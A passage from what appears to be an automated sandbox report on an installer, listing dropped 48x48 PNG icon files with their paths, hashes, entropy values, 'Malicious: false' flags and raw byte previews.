....(....9...j;....>hgz..}{R#.....j...F..\|[....~{..}k/...g!.[/..PE.i.6.dC...).2.pz.<...b~..$.vq....s...v...D..:3...#[.p).an.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-LN4GM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1900
Entropy (8bit):	7.877312215614868
Encrypted:	false
SSDEEP:	48:hHEAOglNsfOil3HfhfkIL/YK+tK2YBXqLWhQm0:hDOgyfpB/h4kHsRm0
MD5:	8E64A8233007A4A79644A2886EDCBE14
SHA1:	B2EE0ECB8B4D361D3D22E8482889F178BCBCEF88
SHA-256:	24D2E3A7D7449F4A22BC2D10BEA0200EDD13D86682E86400F37D97094E1CE076
SHA-512:	8A77C222ECD93D5FFA6E3A78BB5F4C9FA0419A4745E5F5C1F5CD35CFA2CA0EBCB27CBE3AFA420912B1482BD512E51AFDBAF5F811149F4F37FC1BE03BCBC99947
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......3IDATx.....A...3;.}...m..e\.Auc.m..S+vR....}..%.X.f...:..2.2.2....Bb...;7G..Nvm.~.a.J..P......o...+...(._.BSCj.w......!._N........,.e.........B..)r...........D@.....O..cK.....>j.&......>...i...E.o.86.@.....#%.u..@.Q.....\....r..uQ]....$$L.{.9....].d...........p\|.[.....j....`3..M.(\|7%....D.:S...6..=.9S...#.1.[KM....PU.1.Qu.....1J.$...8l..=.......W?...9./.U.......wJl']....f.Xu={:.v...<.w.~...W?-..7c...)%d.........9..M.d?'<.1....{`......pS.Z...6..y.....c"g........&..F...8.w..z..[.c..I...4...Q...~M.7.:.msT.go.-@`.. .`U..`..a.x.....T.....`.C.]$.Wu%.4..z..$....ne....P.../...P....3.....d#.D>..J..n...8](.X....).nw..<.i!...H..\|........^....v..\|.vh..5u...u ........\|......1..+.~.l...E.h...+...Q.....m...6W...M.....2...3...q^.,\..]HE.3h.mY&F+s.7).=....vC.t.U..N..=Xz\|...21-$Pl..~.Pu./`..1.......~.S.K.9..t..f..&.'...7,..9O....."c.l..U...D..=.....R.....Ab.....S.36,.\...&H2.....`..cQ~.C.......;.......fo`T....,8RH

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-LRBKI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	7.933926612224345
Encrypted:	false
SSDEEP:	48:3DbBoHfCMr0S0Vf3IYHLyH5tUMDQZrh3k+nQ57GY2T26ApWVSXAtmkxsTIn9z:3DNojqxIqL8muQZreVGY2T26ApWwQEkB
MD5:	C38C1EF6EF5643A869E4D19F08066A68
SHA1:	D094EB4D1211D2185927AC8991520212F54837E2
SHA-256:	C3AE3774EBD8E3266140102F8AE4AE67BF6327F4C5B077C18D3886E945139E94
SHA-512:	9D55740B9E24807B8DCB8C5AECCF0E49CF6CEACEB8F3A5EE59C0A6D33B3E34A37E0AED732D63DD6AA07F4B8CC8C1F8204D8A473CD6CA24E9D6D0D603BDD0B345
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W...... IDATx..W.p.Y...V.X..&..c..m[....v..x6.............?.....o.C4.... ._N..'.w.}......)2e.......:...._.V...)..0..a..NP>l..`...n....i..`..~mU(.$..ygU..5..,5...G./. h(...7.Yx....rO@.. .i..R.p...$..%.8.v%...3..j..7E....(.Y..[-(.....{....1y.>..o..V.B'.a...v....\.VB.c.6g.^.>.r..p..o.......r..u'.....d...).t.".\.R..".t.l.Y.fN..YV...w,.y.sS.!.d...".'..`.... .<N..;c... 8.~......&.z..<.Z..l{..s..n. .L.\f.P...H\|7..t.@L;.Gw.Pl.....8%.....!kp...l.~........'Y.N...& }....B...YG8.}......V..k.`.g@....i)%.{.7.S+.+<\.<....4.H.Z3.......9...^.....o........Y..%.Wp..P..R.....c.BW." ....kO.<w.F..b;..D~k..l.h...:8LP..-.'....h[..X...F.Y.l>..f.&..P....#............aR...;M.`......K...}..V.y...........N...D.z.:"..;......).xK..S[..J...........W@V>...).F~G@=....@J..Z./..EX..k.\|...{e.-Tk.C.._.s.u`;..9........3Z.....GU?.fZ.eW.D.SP..2...Z..[..X.-bI...E30.....+..[.O`.u@.......C.u.Mn...`...9(*.A6X..s:..%n...m....q.,!1.N.0t.h..3..;

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-NSVB7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2109
Entropy (8bit):	7.88500819090751
Encrypted:	false
SSDEEP:	48:aUsIx8E6plzjLrrn5FPh+1Au4bqdpZL8T3qoh8USl1:FmE6fzjLXvPh+bdpZL8fHSz
MD5:	0FE36310805B6D56D29151678759786E
SHA1:	538A9AC41C6A4EAC43DFDC0B2B9FDF3F5681F2BB
SHA-256:	CD779BEC0F09E1C7A2CC61E17A0ED6885A3088F44CEF8AE48BBAA0EB0DB8B286
SHA-512:	215C092CDEFA86D8D90CDCCA3A0F4CEBE7154E899B5F72C467932FB4E02C4F2297C1341C10346785DFCB16B4F4756538017FFE18698983E9E7274D128E55F619
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...p$...sm[.m..0.m......z7....'...;{;W.R..V...=....GG...Z]...?...O?.........7..g........\|.../.........iK.\|.....b@@........h.....q..C.....p...iW..<@..........7O.+!...[...aM..:!!A.....xzz2...J.@(...[..M..66J///&22Rs.....W..Y.+.o.....P........glm.T..Fj#[.%/h.c.r.1.P.$.`x.9....\..Pegg....]HH.c`` ..}.b..}..=.w.>88.12.+.l.U.[....>fW..Ri..Ru..Rm......kkD*.]mJ#k..1..xV.<.R....X.%..........L..^..{.9?"_.......S=b.....]....2a..[.....\|..6..W"t\....1.002.).q......o.......x...}..f...q.....^.#2..2....8.6......._....P...jckk.xW%..,.....-...g.....k.:....._K.&8....L_.......W\.t....0...f........8.@.1411... ..k...i..j.....a...v..................................!]}.UTT..(.....9.@I....u.....`x.....b.............<.x.Tr....r......r...R.q....,.7.b...&\|\|\| @..(.6p"..KAAA..YYY..!.....L.....3."..=.ay./.hZ.xov.x.:.u.s.G6gV.wATl.@nX.@%y.."0}.......g0vp.u'.F.&e..........c.]..{ZaYX>.\.wm....c.[...5.%ni.M[[7.6.J.#.l.(..t...6...........@..

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-OKOTS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2853
Entropy (8bit):	7.916303130465067
Encrypted:	false
SSDEEP:	48:xaovtLzk0yHo3S8Z1wjdgGmyMUZB8U35jvwBIApIWzYx+e5jNY8FVnKeW:xaovtLzk0v3LZygG/dZ+UvKmIDe5jNJm
MD5:	CB903BCAA781B39524043E771629B1CC
SHA1:	DCFF8ED0421C98818098263464C9DF32091E1F3A
SHA-256:	6072651A62E89333C4F9C8135E9DEBD5E9F4BF8492964C1C9B85239C2DAA1561
SHA-512:	ED348867899B5CD0C793E2415E6D3CC650F0B68002FFFA22EC9DF1C0D587AE65336A5674B5C9E8A10FD141E2AE5A7FA9B55A9FE24835065FBB8AF1124FF17943
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..X.x.}.}..m.om.m.q5$).T.Km.}m.^g......s..yn..9......:.....3...i.....G.R.~5O...<m..U..j.l..uj...dg.g..d.M...E..1...`.\...z.H..t....U.4IB......>uo.....u....N...[......)96,\|..7..\|.......G.......Z.....}^uY.k....TF5..`_e....(....H...t.{lZ......2.y.....D.\.....J`.Wi..Z.X..-.Fb..Z.T\|P...j.........m....?.".kg.F..B.{..}$B.;9pWY.h.t.u..}.w8...J.!y...........Q...a".bf&..e..BGR...}..X$.."...t.}.E.....Cq...&..@...B........n.R...zaR.F......+..G..:AoW...2?f.#...s.B4.)\|Z...U...4.JZ.B....u...6X5..?.O...S.w..#...u...+.M.%.TMA<..<..`]=.#....s...Tv...jG.X..._Y....z."5Z.<.Y..&D ..#.6..q...$.x.....o.9.x..?...Y....f6..n.2~".)...x.......1....<Ci.D.V<.....o.Ck...\|.L$..`.Z...X........ej....!../.u.i......@..+..N.._..Ap.6...0O.....v...\|...NE@}....^.. r&..BzE.l\|.. .K...37.R......1../..S[.B.C.x.H.#@#..b.....@....w.^.9."..........x....4G.......cD..JO.i&tP..a]5...,\|..,..YXenl.z...WYrm.s..\|....c`...x...h>....J....lg.)*...

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-OS2UK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2536
Entropy (8bit):	7.893504377549183
Encrypted:	false
SSDEEP:	48:k8Y7pp1+CXT9H7DTnVUJ4aIDXlDwY2QSXpp5m2Tq8tdBGeoYmHUn964FHX:kNBLJVUurDl0YFSZjX+8VGelQg64p
MD5:	83A1907B8C025A93348079A25EB689C2
SHA1:	20BB4E5F58B6A0B37CBFC453319289FB70FF0F6B
SHA-256:	0AF2E5DB00AAE887A3854B5575502B27B6EF16B6693DB2EA427FA69D15D49837
SHA-512:	135A88093F6908F4B97DEAE5C6B86682A9FB1270FB754202EDA71EFD9A84D8A3FF59A0D752620FFDF2DD59B4D8643E05387F4559791F53219B9DEC2C6F4A1768
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y.xdY....m..V:..V....N;..qz6..k....?...w......}..{.T...M......R.<T&...P(.....}.J.:.o.^.....r.(%%.....{zz.W.=~.g_d;33.:::(!!....(66V..z...........m0..@HH.....N.BV..y..M;..b....$.H.....{.-.......'.z.'j.Z&...C D.......{.e...5.x...6.....7.t.I.~qFF...}.2e........y...w./.RXXHyyy...M&..t:.y.....n..H..u...TPP..b....w.w.u.M....K1}.t.......o..3g..7..krrr>bw.i....A.6..={6...r...Puu5UVV2...n.........{bM]]...>...z.i.III...A.N.J.4c...:u.q..t.7..^.....P.+b-..%..........&."##..s.&....b...G.R@@.......p.KMM}..i4\.n..H\|-..hT...u...d..~.w.BLP..k.Z.xV.V?;.v./. $..?...O?...4.c......(::..k.=....k.3.~0......I..G.B:qqq..}(...#.x......h4.u.)...q'......J. I-R...#.&)..tq.m6........a..c........E3$..}2.u.....<.+..V....9.{.. .s..&..9.j.REE..$..F.,....\.4o.\c..[.....).6oH.w.)4./.t.6...S;N.l.:..<..g.bbb.Fsb..Er..q.y..^.P.j...v...O.._...({a.%.5.S.V..4.] .Tc/T.YnP...N6.'...OAO.!~...LS;...9...6.........~.S.~......*l.@.v.......(../

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-QCRA1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3098
Entropy (8bit):	7.902323935241318
Encrypted:	false
SSDEEP:	96:lN3uFsx/S/HmmKuQZT9VkwpO1yJz8K9DHTN:lN3uFsA/HmmFwpO1YzhHTN
MD5:	1BF26B8AE1745420322A8F53602CDE98
SHA1:	D4C9F5125F278C38FC2BFA8962BA09A9742E303D
SHA-256:	FD48956A0EC43D12B3E6672F551D64DD0C1A50661B3C942AE2C92F1C4CFDFDE4
SHA-512:	6ACA700A0AAAF5DE2747C6B71C1153D5D57B5720606D4B65E849D70F308B65CF751088FEA23D5A17626034F171BA8A419D041AEAB644CD84FE70EFAFB2A42489
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..uXb[.........M...n..8....y%...7cO...(...#.W..>.....A.....e..S...{..........^<...\oJ..b....a.X..H$ ..@..CHH.0.....a.g<<<.%.92.............y..............1........e..Q.../;.U.J......qZ.PVQ...{A.}.D....\|..e.`.@.<U.m...hj...p.D..=\..].!9{7..r !c..v..1@...:.v3....V.D..cUp.Q..O...c ;p..w.k"i.!......'N.a......lll,.3^..a..@.!Bx..pd...<....0.....u..v.O"vG..l.........a.......0.5.>@...3.5.?g).....p.`.$.......0.g.'..j.....`0V Y..i....\..,@..D...m.....Iw.WB....`.W(l...^..l]E....,]J.QD..3CGH..I.#...Y].......D....z0.........o.-.....d~....Mc.R[\|3. (+..3...t.....A.v..+...d......!..=..y..7F.?sb.}..Q..N.."e....h...@6..x0.t..G6.E.....hggw3....&....\.....C...i{......rp.I`KXl.N.u.1..G...".....N\|.\|.l5..n._..zs...@.k..0.%.!...[]..........".`...`.!........Ph.a_.2.9.\|p...8'..........b...,..F.&.{n.C.1WB.......n...a.Y0.....?.V.(.X<..[\..f-..\.m.k :..r...a....p..2[..?...C.........s...f...*3..Gj...{n..os..6..}.I.T.........;...

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-RGJVN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2340
Entropy (8bit):	7.866140824505384
Encrypted:	false
SSDEEP:	48:vhJ1g+b8Sb8pMZnyO4bzjIbQ7QraBAxMT23lXvYy8LFlOwR2FUWFMAW1Zi:Bgm8Sb8eZyjjIoQuBGMiVgLrWFMAqc
MD5:	6F6A4F0371895B25975608FD5C57C44B
SHA1:	FDDF5127F84D06D9690073427B533F1AFD390650
SHA-256:	D774BA8CE3FFE911DC9A3C235B58B73199DA930D3C7E72664F6C3C4462BD455C
SHA-512:	4AA31D91AA39EBF434B51B1C484D46A226615A8534A2E3323FBA1D3CC986DD981C28A2DC234EE4EF0683F32FD9274A1F79108B9071701C13B6865ABA708EDA7C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..sx$k...m...6.6c.5.2.^.;6c...I....{..j+........>.W_U.5Dt]........PVV...:y....).m..6!!....YYYYTRRB....t.RU8..P..k.`e..~..n.Y.\|9-Z...........;p..'...d.a..t).....t..v.5....v..._...V....K.%..1.2...gY....U.}...V$....'Y.V.j..."z....j...i.T..g.BA..my.k./t8........(.U.Xg3F.......S.k9.x...A~..6.3.....X_h.X^...\.....s.O.0..Z..r.^'..2.F\|.M~....X7..........t&...[.lyn..<..o......C-)....eh@.?yyy......l.2...Q...r.....f....l......M.J...?.>.3.@..h...\P.EDDh......8~0..t...y..~.j=.(..o............U....`..U+....\|.:....3..o.m..{.~....w............~4...[...;w~.5.n....C..........HJJ."~.0.i....."\|..0^..@...!.(...AM&.Z+-.`F6......}...t.......-~mM."2o.. .z..###)--M.v.N......2.x\<J...G[.n..j......T....p..Z....g..N...8NeXX. ..'...................R]UU..W..M.%1@..C..6...`p.;....s.........d..+....M..E..2:@....J.\.@...{..w=C.m.....r3y.kU.Qx?..\U....M..5.y.Ju..X%)<<..Ng.={R.....w......C?@e....m.v..TR........]X..h._.X

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-RIAO8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2529
Entropy (8bit):	7.918490184742482
Encrypted:	false
SSDEEP:	48:XWurA7yJJ+6hnQ2cyLqOD1AiUEHxRRIDfJftIZLlO9JflNM7rtS0ass:XWu07yJJPhnIa5D1A8iftIZZO3WrtSP1
MD5:	785F5D73E9E92E8206AEB170BEDC0AB1
SHA1:	6246414D02BDADF41D1958DB519C1BE7D449FBDF
SHA-256:	49FD712F53751F8B0F124CB5B83C0EA48E2E279EB4B544CDA01ECCA03686AF09
SHA-512:	2AEFB302B947AD69E47DAEBA2878445F05D6177335D382A1A9B89A81DBE4B52464B4072E274F21633DC35203E1F4FCF49BF205B0C98A505F6335C505F7B264BC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y.T....wwww.\|.........Qt.gHp...fqwg..5.$H..._=..b..y1..n.[.nU....s.Qkc~...t.].?..<X.....2....+....".3.....Z.-.[.U./BF.......y'.x..3.oIWqF...O....1.YH...x/........'.t....i.O.......\..4O.........E\|...u.<..!y..O.l2....m`-.....R:....P..^R......\..vF\|..........q..\x....EX.,.....6.......88.<..-../..3.......@....R...V.zK#h...+s..[..S..o...'.:...F.~. {.-."4...-...U..P..i}..5.....2.q....&..s...S.G... .`..a..rXgn..I. d....fP..n)e.....l....)....8......#}.{J`i.}.9..t.}D.eaY..:..../....(..&R.....?C'2....C..u(.JT....a...v&t..1.....Y.,...M.~..O)9.^..9Q.....x..X.@..P..2/...ux.,.<.........}y#.g.......6.y..O.t=K.7?......(.....J..... ...e..P..).. .....\Pq.?..Z.?............O..o...?..8,.(.%..jc.l..H&..T...e.<..$..l.6.6....>.d.....RSgr...kc+@.Y.)t..U.2.....V..R:..X..0..b#eX.......X...cS.B...T.........BK.1...fX......4Aj.c.*.xR-.u.W.Z.J...X..o...'.3......Asi.$.k".&..#. f)Y.=.o.Em.....U......0.Yg..I...gOCv...5..<...g...

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-S682D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2418
Entropy (8bit):	7.909236924067308
Encrypted:	false
SSDEEP:	48:3dFFKHCJfMPRNU4S9/gKrE6IqghyrIF7QUryLUMtF7HRWllm87:3dP3JfuNOjjIqCyrISI2UM7xWllm87
MD5:	F0F5758E14405F8C8BF3FCB1085FE95C
SHA1:	8F5D5FA5D1FBBB9BC612D594EABE0B54679F3AFB
SHA-256:	F0E65D482B65359CFC9357BF0E780238888ED77253011EEEA8C3AD00B9544502
SHA-512:	48BAFC6DD5399BB831406C03BC5374B6D7C2BD68D572C2686EC7949DAFB66A379DA9EE9135A2A7A774EDF292778B9ED9B4800463BEACBD9931CE359C5EB0E787
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......9IDATx...p.I.@_.d....13333333.9ff.....<f..s...jg..T.r......v...7..EU..................S.Lp.U...c.n..{.{..m.e....G,........x..Ba......-..=....9../.BE...$.,...-....o.._n8s..O3...&..5......6I'<..I.!......v.a........On..D...&.?xF..\|/.....$.Z..P:......I.....3f.......$i..v^k.xh..?..f.....Zr..0r$..:..?.^..G.R.B.}8..R,/.Df8....&3g..g>).,...AY.11v....r..C.ML}.GM....P7...[]..W....$P.,..B.C...x64[..,..g.b..Q.`.9.n%6.d....'.9kV..@s.x....X...cT]..I.os...s...^#d.Uv.x&...J..9....7/zD.R.T_{..>...=..........\z..%..M....#.~..d@....^M..MN}...[.Opuuu.>.%.6....#...YM/B....3:.\|....{.H..<....7...........V..S^7!..(b.Sl...7.]....w.0...j6.rK...k.f..&.nJO.%BU..g.ud..h.."..\|.4.5yBa.CX........0.@Y..~..*+9....M.FO.@. ....Bh..8\|#....,.............<.T.nS..<\|..A.JO...c.=.+o.....Tz.Y.?1.{......"...2..g..$t;}pk...j.......^...@.H.P.Vb...-.\|..u....9...X}.5I&.......BO.I,n..%b......+.O(.`..{2.Xgg......g..E..B.........v.BBk......c.....$..

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-SG4R1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.482731600175207
Encrypted:	false
SSDEEP:	12:6v/7r7mYuYPUJs/0AQHdMmxmKzVHdWrgzPWBtJRzMCCNMJGr0OEhyN9/+kXahopF:cEYPoU0AQHdMmxZztwszeBtGYhk95Xai
MD5:	BA95DC4223903C4D79221308B9933527
SHA1:	70BA3062582D584605897B25A00F1D2AB59625DC
SHA-256:	073A415017A07653662CA8D62A23EC8B96FE0A306225DEEE608BD4922E5C89CC
SHA-512:	2D6F6668FF002CFAD46EF20EE0D548CAC04B97F4B9A92B6BA5F86045B295C19A232A793652FD1FFFD02D95BF48BD89814A52E3DA8094A1E28142B911482CF8AE
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS........y"...=IDATx...c.\A....m..+..9A... ....X.{.f....z.g\|mxn......c..........+;...5...n.2`..?~.C.$ TWU#" .RBZ........Hk6..xv......U.W\.jim.....D#a..+K.f.@Z.[...._.E_.......Mh...f.])....f.@Z.V.y..>"x...>...[ZZ..m.D..>f^.h.2u..c..k7...>....q.DD..2R.*_(.zvB...].`...\^.u..C$Ea..^1.....=.U\| ..$...-.L D.....4.c.CB.....b.. +..N.&..(......-..,I......q.O.....}j..?S#.[..........L=.%.c...SS.a......Q.i7k[f.RJ.B.......;jj$.4....vv...._[f.(...........jjn...Rfh.....H.x.)...%.Y...5.0fr.j..9S.i.m.Cwm..P.el...(k..bRc...6..~....2..jh.S_.F&.,.$.1L\|14.Y#.g.5....r@C,.....;<....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-U4I3G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	7.880273035206474
Encrypted:	false
SSDEEP:	48:JE5HzrraFnBBEW2+590s7nF1vf5yUDOabjERAvEA:JEVzrraBBOWz0QHvf56aHWAvEA
MD5:	020C44F480B87CE1F3EA678741B65539
SHA1:	EAE27329F6898C8EFAE13183F7A3F6B4DD814168
SHA-256:	31CB3F50B32D107ED709E227D4983897E9C4A9EC0BF6C30DEFCB3C4C32125C47
SHA-512:	199928D5D691219CF04232049DAC460A4C89DFF43B7481AD0739B3C542CD2499386ECF923B138F5465582732189BEC0081EF23FC499F8FAD545957ECB3C194F4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......xIDATx..X.p...U..[Kw2..l..$.(.fv.!.r"S.......gf4;..+w..6.......o.}.}R.`..W....p.+\!..j..&ebx....(.....S...Gw..?.Tw{V.7he.1...Y..U..^.....+.._.......$..{....R..v."y.O.d.....[:.8M..:.V...Y...:..........Y;....X.x...v.....Y.p..X.:.Uh.......6..~.b.x.t.....\|a>..eo......<Y....6c....O.xK0Rf{7&9....J.q..K.._}.y....dUM.\...z:..>...<...6`....\.\.@_'........Q...f.`7...=.L.3s.3...T....x$l..b..\|,.V.U/.....v.;..>.../....8...lx.Y..C.D.....5.-ZY.\|&.3p./.....J....C.i..@...@../.-sG.b.)..H...........1..B...p.......Ml.j.\|.:p.L...o.W.}G..'..l$.iI...R.'...}.`....4_........P@..52Wy.....?..Hr...Q.!..*.xj2a..8.Gj.......H...{V.M9+..?/A>......2......u.Tr................r......!6.L.....`...S._km......8uC.............#...R..........:....(....`;...;........L....V.....Mh.4..\|_...:....b.:,.:.C6. c.'R.. .9.!..<...........a:....8. .i..?.`{.xwjLr...i.$U....}o.O...7.N.W.7a..#...X.."i^ ..Zu?...s...E...![}1.P(......H....K?.v..R.W..H++s

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-UT5F0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.562986130951774
Encrypted:	false
SSDEEP:	12:6v/7r96Aja4B8pVuylMzGAtUGpn3B+QMi1nNP4SOWoH3WTH:c96Zr3yZytWfD
MD5:	AAD279CD9C16D2B8D4B495565BD0070E
SHA1:	EA7364198A3C28A8268F9BA66F7E8D08AE439B90
SHA-256:	7E5DF7EDB5AC19FF5B373193C0F3779637A8197FFC5CBE81EA39167430309794
SHA-512:	F895A1955FC471E32CFD9CAD8C19A2504350443364482979091763B0CFEB20C2B792DDB25B4FB871DDE31B4C14FB88E0183D1DA9941577299CD779ABA167FB34
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS........y"...}IDATx.b.w-.`.,t.k.A...u..F.4.i+.d.;....I. ......1.7:.g......m...{.........a. ..5..MIQ...5~.j.J2.d. .....O....{.-SM.N.;u2......8A.I'.>q<.J>~....q./m}o...5..=~...k._..?..@]u%..tyi.......B.K....-...y...R.5...._P..x............].5.D^....%!.....U.T.f..=.v....~...........LNM.s.....M..08[A`....T.z..[7www...E...Z...%..H'...HQn.......y. .X.......gtt....+...,.@..B.r3..U.n......&.....D.@..h..j.>.\|..)C.yP..3..3.RSsKq....sdX..c..@...&.F...ef0i\3.ySsKkaQ....(......8.s...'..B..a.0+.7.....L"..f.......I.^.....g.....L*..X....q...nx...m..A.....fR..}.?...S..wf.4......M.I'..o...R.1.rL&nP.)..M1......AyP....]..^3A.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-VBSF9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1983
Entropy (8bit):	7.879204797755092
Encrypted:	false
SSDEEP:	48:OHfRrGBgbZWmI5JZWJrNidcNeRd1QHnfHkcHOgxhT:0Rrigbr88zi2e1QHfHkk3T
MD5:	6136C1F640BCC18CBBD83ECBB2B5B829
SHA1:	ED838F8D92B401AB21C540D1F207583548BED1EE
SHA-256:	1DDDA9311F9C70C3A4029A274E9B68E252489260742B9A4B4B4D327C600E6041
SHA-512:	0B11C1E6D92510193AA70F9D2EA1CEB3F42151220CEC5B6373D5879D9C5969A58348BA133E42AC7C3A831414A5EE0A0A6F780EF107044EC6B56BA069D156032A
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS......n......tIDATx............^..:6js.g...l.......6k..%....W.Y{e%.'9....{........vs.p0...$a...'.%....}...%.....ph..I...c+............~`..)=..K..w..._.4.../.:..t4;.H...~....._~a.....<.31.#:.#&.=&.}gllW\|\|wbb..w.`J.i[...2..o>c.....0.y..^....o...........E..._.f%C...7.....&4...0zt.Q..Mc.6....X...J...Z..u....]..X0.-6.q....#....2.z....kz...!Cj....1.ap.-B...wq..M...y4+..C...%&.....24."8."(.<0.< ..@:.......4.a.#G6......S........j.'.G..p......P..Z..T.._..[..]..S....\.'....\.b.O......tL...9........L...vv.^^..{z.yx..Z....E..X,i..C..{.....U.&.D..v..4.v..&..2.g.Thxt..W..S...g..W..V......B.{..\|.)..a...8....:..COT...v..3.9:tN.......&R.7.l].l.U]o.)1Y....{a..1....-K.0l{z.J.....&IO.....D)vvw\.P..~vp......G..A.Hx..c.)L#....a.Z.zi8Xc2qq.9...3.......w...........\.........Sd...5..zJ...l{{..\|.9..~.._.....z=2G.U....EF.q..fw.@.d.m/=...{H...>rt..W^Q.l~.A\...M...+?u..F.F.-......Ic.n.K_...A.E=..).I"w.5Vk.V...{..w...4

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2260
Entropy (8bit):	7.9077953868133095
Encrypted:	false
SSDEEP:	48:72kHDtR50gyxNdG8CKIeUHKWw89pyTvxHmoFRm3dkNJCqpj:ZRR5TyjdhCK3UHKgGxHmEJR
MD5:	F224EBF437ED8CFBCB9FE5405866C9F1
SHA1:	75E17A12A7C49076CF97546CAACE035BF18A8144
SHA-256:	A921F04A8C9B9C28A51372939A5074895B507DD4FD4BB7AED9C1B08780440EA2
SHA-512:	08A72990B2B49B7A0B4D2B412DEF3AB2D4753A0878676BE71E414AED474CC6A09413A5A7E7A139353EFD67944989EAAA8C0A8C5D7540F7BE32F0E12F02E10F35
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..UX.......?]w.O.wG:......L...%...H<...I.YwWuj.......J8..Zg.sj......<..d;.DC.N.I:...$.y.eD..N.)!.u.....\..q..5..e.6..C....b.....0@B>O.pVJO;..#...#.....,.O..Im..W.....q...a.KU.......(......3...."...M.....GES#J.p.....^.+.p..q..m.x....M...U..W...,...2.H#..DDF..8..f..;....;8...:$xZ....F..Ud.0S.g.\|......N...a.V....8_t.5PZ...PDG.7c..1H....\@\~.....We2.B...~uD.$!Ap...Q.FPb..\<..N.vw.e.%..Il..D..#...~..;O..&l.Zt.I!.m+...k1`#...^.5...P.m...7..d.'H...\{p.g..p......."2..Bhv...(<v..........4....P5. .........8zx\|......Qx.....Q%Gln...Z8q.....v.BDV..v..!Z.K..'....-(..b.r....*..S..C;..P..W6. ...F$.{..L..C1...`..j...."..k...%a...w..3....?...../..F.......&.Yc.._p.A.._....D.o{..>;.p.E..%...Q.o....;......R...<..Q9..M.wL.UN.-.%DA...........6b.7-..'.d.+.oR#.....x.A/=Df....s..d..[.4$.#C...iT ....(....9...j;....>hgz..}{R#.....j...F..\|[....~{..}k/...g!.[/..PE.i.6.dC...).2.pz.<...b~..$.vq....s...v...D..:3...#[.p).an.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\lock.png (copy)

Download File

